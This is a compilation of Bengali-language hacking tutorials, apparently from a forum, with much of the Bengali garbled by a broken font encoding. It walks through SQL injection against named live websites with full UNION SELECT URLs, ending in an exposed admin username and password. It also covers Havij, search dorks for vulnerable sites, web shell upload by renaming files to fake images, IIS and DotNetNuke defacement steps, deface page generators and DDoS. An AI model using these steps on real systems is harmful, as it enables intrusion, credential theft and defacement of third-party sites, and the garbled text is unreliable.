এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
